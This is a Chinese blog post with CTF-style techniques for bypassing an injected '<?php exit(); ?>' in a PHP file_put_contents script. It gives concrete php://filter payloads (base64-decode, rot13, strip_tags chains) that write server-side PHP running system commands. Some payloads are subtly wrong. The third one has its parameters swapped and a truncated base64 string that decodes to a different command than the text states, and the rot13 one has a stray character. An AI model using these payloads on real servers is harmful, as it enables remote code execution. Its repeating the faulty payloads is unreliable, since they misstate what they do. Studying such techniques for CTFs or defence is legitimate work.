PHP伪协议绕过死亡代码
PHP伪协议处理死亡代码
file_put_contents模型:
<?php
$filename = $_GET["f"];
$content = $_POST['c'];
if (isset($content) && isset($filename)) {
@file_put_contents($filename, '<?php exit(); ?>'.$content);
}else{
highlight_file(__FILE__);
}
base64解码#
了解base64编码的基础可以发现其由大小写字母和数字组成,特殊会带有” = “补全解码,编码会将连续符合的3个字符编成4个字符,遇到不符合的字符则跳过或者忽略。解码则相反。我们需要处理模型的内容是<?php exit(); ?>,这个信息会导致php中断,无法执行后面的内容。
可以发现这个需要处理的内容中只有php exit是可以进行base64编码的,其他进行了忽略或者跳过,通过上面的解说,我们需要将phpexit变成8字符才可以进行base64解码,所以随意添加两个字符,比如aphpexit。于是我们可以写入payload为c=aPD9waHAgc3lzdGVtKCJkaXIiKTsgPz4=,f=php://filter/convert.base64-decode/resource=1.php
作用就是将<?php exit(); ?>.$content进行base64编码后写入文件1.php中,因为phpexita会被进行base64解码成php无法识别的内容而无法解析,但是PD9waHAgc3lzdGVtKCJkaXIiKTsgPz4=的base64解码成<?php system("dir");?>被php解析执行。
string.rot13解码#
注意:该方法需要短标签关闭,即查看short_open_tag是否打开,一般在Windows下是默认开启,在Linux中默认关闭
rot13是回转13位,可以认为是凯撒密码的一种变形,string.rot13会对php内容进行rot13解码
还是和上面一样,需要通过编码进行处理<?php exit(); ?>,那么需要处理的就是将'<?php exit(); ?>'.$content进行rot.13编码,但是进行解码后会发现仍然有<?,需要短标签关闭才不会报错,然后执行后面的内容。思路就是对$content的内哦内容进行rot编码,那么payload为c=在<?cuc flfgrz("qve"); ?>,f=php://filter/string.rot13/resource=1.php
如果没有关闭short_open_tag:
关闭后:
string.strip_tags组合#
该协议的使用是将字符串中的 HTML、XML 以及 PHP 的标签或者数组中的 HTML、XML 以及 PHP 的标签剥除.(PHP 7.3.0 起废弃),而<?php?>就是php的标签,使用该协议即将<?php exit();?>直接去除
php://filter的协议可以进行组合使用的,介绍了strip_tags的内容,那么就是使用该内容配合base64或者其他编码进行文件内容的写入了,payload为c=php://filter/string.strip_tags|convert.base64-decode/resource=1.php,f=D9waHAgc3lzdGVtKCJscyIpOyA/Pg==
思路就是:首先第一个strip_tags协议将<?php exit();?>D9waHAgc3lzdGVtKCJscyIpOyA/Pg的内容进行了剥除,导致剩下的内容为D9waHAgc3lzdGVtKCJscyIpOyA/Pg,然后在使用base64-decode进行编码,使写入内容为<?php system("dir"); ?>。
作者:NTrack
出处:https://www.cnblogs.com/ntrack/p/17690490.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析